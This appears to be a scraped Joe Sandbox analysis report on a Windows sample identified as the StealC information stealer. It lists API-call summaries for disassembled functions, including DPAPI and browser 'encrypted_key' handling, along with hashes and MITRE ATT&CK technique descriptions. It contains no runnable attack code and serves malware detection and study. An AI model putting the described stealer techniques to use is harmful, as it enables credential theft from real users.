Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d8af8a272630e179f43e6382136ac5340af9d7b6c4e2ce833999af0bdf1fdeda
Instruction ID: 6c15f0adbc36c1d7bcf3e9f60154ef877c5e0881fd551199e1383de4d437835f
Opcode Fuzzy Hash: d8af8a272630e179f43e6382136ac5340af9d7b6c4e2ce833999af0bdf1fdeda
Instruction Fuzzy Hash: FD313EB6D1020DABCB14EBE4DD85BFFB7B8AB48304F544558FA05A7241EB349A04CBA1

Function 00B092E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B03AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B03AEE,?), ref: 00B092FC
GetFileSizeEx.KERNEL32(000000FF,00B03AEE), ref: 00B09319
CloseHandle.KERNEL32(000000FF), ref: 00B09327

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f2970477d29a2576ff4cf8cc4b632655c4b3b223be08e3c43f75dc224af96302
Instruction ID: f5af8a5760cb92001509cce948e2d592e9e62174882b8c89b4d7e802190d3ad6
Opcode Fuzzy Hash: f2970477d29a2576ff4cf8cc4b632655c4b3b223be08e3c43f75dc224af96302
Instruction Fuzzy Hash: F8F01475F44208ABDB10DBA4DC89B9E7BF9AB48760F108294AA91A72C0D670AA018F54

Function 00B0C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B0C74E

Part of subcall function 00B0BF9F: __amsg_exit.LIBCMT ref: 00B0BFAF

__getptd.LIBCMT ref: 00B0C765
__amsg_exit.LIBCMT ref: 00B0C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00B0C797

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 96b09a4e0e71d7a34a07661857f40a305aeb0d0545ec37ef7e9b9dcf42eb9b9c
Instruction ID: 77888505740b0cf2c37349120b5443db02dc108f8b96bb82894f1b5056085a74
Opcode Fuzzy Hash: 96b09a4e0e71d7a34a07661857f40a305aeb0d0545ec37ef7e9b9dcf42eb9b9c
Instruction Fuzzy Hash: 41F09A329403019BD721BBB89806F8E3FE0AF00720F6082C9F415E72D2DF645D419E5A

Function 00B04F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04F7A
lstrcat.KERNEL32(?,00B11070), ref: 00B04F97
lstrcat.KERNEL32(?,018A8918), ref: 00B04FAB
lstrcat.KERNEL32(?,00B11074), ref: 00B04FBD

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
Part of subcall function 00B04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
Part of subcall function 00B04910: FindClose.KERNEL32(000000FF), ref: 00B04B92

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 9574fb1f31d8c8c7892f0034889eb030c3acc7b586f70165b36f87c20cf628dc
Instruction ID: b4e12ee3e7144e1f11b84c7fc7eeaa14d99ae5fabf07c95b7d95559ac8bb8585
Opcode Fuzzy Hash: 9574fb1f31d8c8c7892f0034889eb030c3acc7b586f70165b36f87c20cf628dc
Instruction Fuzzy Hash: 25219B76A00308A7C754F7B4DC46EE9377CAB54300F404594B6DA921D1EE7597C88BB2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00B09860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00AF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00AF4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00B09C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00AF6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00B05510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00B017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00B07500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00B069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00B06AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00AF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00B051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00AF1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON